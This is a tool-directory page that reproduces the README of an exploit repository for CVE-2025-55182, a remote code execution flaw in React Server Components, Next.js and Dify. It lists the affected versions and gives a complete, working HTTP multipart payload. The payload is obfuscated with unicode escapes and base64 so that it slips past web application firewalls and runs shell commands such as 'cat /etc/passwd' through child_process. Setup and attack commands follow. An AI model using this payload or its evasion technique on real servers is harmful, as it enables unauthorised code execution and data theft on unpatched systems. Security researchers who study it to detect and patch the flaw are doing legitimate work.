Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/xcanwin/cve-2025-55182-react-rce
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPenetration TestingPayload Development
GitHubxcanwin/cve-2025-55182-react-rce

CVE-2025-55182-React-RCE

[漏洞复现] 全球首款基于RSC特性能绕过WAF检测的CVE-2025-55182 React Server RCE 漏洞 EXP。

View Repository
1549 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182-React-RCE

Project Introduction and Principle

  • The world’s first CVE‑2025‑55182 React Server RCE exploit that can bypass WAF detection by leveraging RSC-specific features.
  • Achieve RCE in the React Server default environment.
  • Added original EXP supporting WAF bypass scenarios. Principle: getOutlinedModel allows cross-chunk + step-by-step JSON references.
  • Provides an extremely streamlined reproduction environment.

Advantages of the EXP

  • No need for __proto__:then, constructor:constructor to achieve RCE.
  • No keywords commonly intercepted by WAF such as "then": $1:__proto__:then, "get": $1:constructor:constructor, require('child_process').
  • One EXP is compatible with the default configuration of native React Server, Next.js, and Dify environments.
  • Advantages of the Reproduction Environment

    • Extremely streamlined.
    • Fast setup.

    Vulnerability Overview

    InformationContent
    Vulnerability NameReact Server RCE
    Vulnerability IDCVE-2025-55182
    Risk LevelHigh
    Vulnerability TypeRCE
    Exploit DifficultyLow

    Affected Versions

    • React affected versions == 19.0.0
    • React affected versions == 19.0.1
    • React affected versions == 19.1.0
    • React affected versions == 19.2.0
    • react-server-dom-webpack package affected versions == 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-parcel package affected versions == 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack package affected versions == 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0
    • Next.js affected versions >= 14.3.0-canary.77
    • Next.js 15.0.0 <= affected versions < 15.0.5
    • Next.js 15.1.0 <= affected versions < 15.1.9
    • Next.js 15.2.0 <= affected versions < 15.2.6
    • Next.js 15.3.0 <= affected versions < 15.3.6
    • Next.js 15.4.0 <= affected versions < 15.4.8
    • Next.js 15.5.0 <= affected versions < 15.5.7
    • Next.js 16.0.0 <= affected versions < 16.0.7
    • Dify 1.1.2 <= affected versions < 1.10.1-fix.1

    EXP 1

    Can be used in WAF bypass scenarios + default scenarios:

    root@kitploit:~
    POST / HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
    Next-Action: test
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jxCaNwiNWP3Sad
    Content-Length: 1445
    
    ------WebKitFormBoundaryx8jxCaNwiNWP3Sad
    Content-Disposition: form-data; name="0"
    
    "$@1"
    ------WebKitFormBoundaryx8jxCaNwiNWP3Sad
    Content-Disposition: form-data; name="1"
    
    {
        "\u0074\u0068\u0065\u006e": "$2:et",
        "status": "$2:es",
        "reason": "",
        "value": "$2:ev",
        "_response": "$2:er"
    }
    ------WebKitFormBoundaryx8jxCaNwiNWP3Sad
    Content-Disposition: form-data; name="2"
    
    {
        "et": "$3",
        "es": "$4",
        "ev": "{\"\u0074\u0068\u0065\u006e\":\"\u0024\u0042\"}",
        "er": {
            "_prefix": "$2:ep",
            "_formData": "$2:ef"
        },
        "ep": "$5",
        "ef": {
            "get": "$2:eg"
        },
        "eg": "$6"
    }
    ------WebKitFormBoundaryx8jxCaNwiNWP3Sad
    Content-Disposition: form-data; name="3"
    
    "$0:\u0074\u0068\u0065\u006e"
    ------WebKitFormBoundaryx8jxCaNwiNWP3Sad
    Content-Disposition: form-data; name="4"
    
    "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c"
    ------WebKitFormBoundaryx8jxCaNwiNWP3Sad
    Content-Disposition: form-data; name="5"
    
    "x='Y2F0IC9ldGMvcGFzc3dk';d=u=>Buffer.from(u,'bas'+'e64')+'';y=global[d('cHJvY2Vzcw==')][d('bWFpbk1vZHVsZQ==')][d('cmVxdWlyZQ==')](https://github.com/xcanwin/cve-2025-55182-react-rce/blob/main/d%28%27Y2hpbGRfcHJvY2Vzcw%3D%3D%27))[d('ZXhlY1N5bmM=')](https://github.com/xcanwin/cve-2025-55182-react-rce/blob/main/d%28x))+'';throw Object.assign(new Error(y),{digest:y});"
    ------WebKitFormBoundaryx8jxCaNwiNWP3Sad
    Content-Disposition: form-data; name="6"
    
    "$0:toString:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
    ------WebKitFormBoundaryx8jxCaNwiNWP3Sad--
    

    Reproduction 1

    1. Server environment:
    root@kitploit:~
    react-server-dom-webpack 19.2.0
    
    1. Server download and install dependencies required by react-server-dom-webpack:
    root@kitploit:~
    git clone https://github.com/xcanwin/CVE-2025-55182-React-RCE
    cd CVE-2025-55182-React-RCE
    npm install
    npm run dev -- --hostname 127.0.0.1 --port 3000
    

    Service successfully started: http://127.0.0.1:3000/

    1. Client using EXP
    root@kitploit:~
    python3 -m venv .venv
    . ./.venv/bin/activate
    pip3 install requests
    python3 CVE-2025-55182-React-RCE.py --url http://127.0.0.1:3000/ --exp "cat /etc/passwd"
    

    Reproduction 2

    1. Server environment:
    root@kitploit:~
    Next.js 16.0.6
    Actually corresponds to react-server-dom-webpack 19.2.0
    
    1. Server download and install dependencies required by Next.js:
    root@kitploit:~
    git clone https://github.com/xcanwin/CVE-2025-55182-React-RCE
    cd CVE-2025-55182-React-RCE
    npx [email protected] nextapp --yes --js --no-tailwind --no-eslint --empty
    cd nextapp
    npm run dev -- --hostname 127.0.0.1 --port 3000
    

    Service successfully started: http://127.0.0.1:3000/

    1. Client using EXP (same as above)
    root@kitploit:~
    python3 CVE-2025-55182-React-RCE.py --url http://127.0.0.1:3000/ --exp "cat /etc/passwd"
    
    Download Tool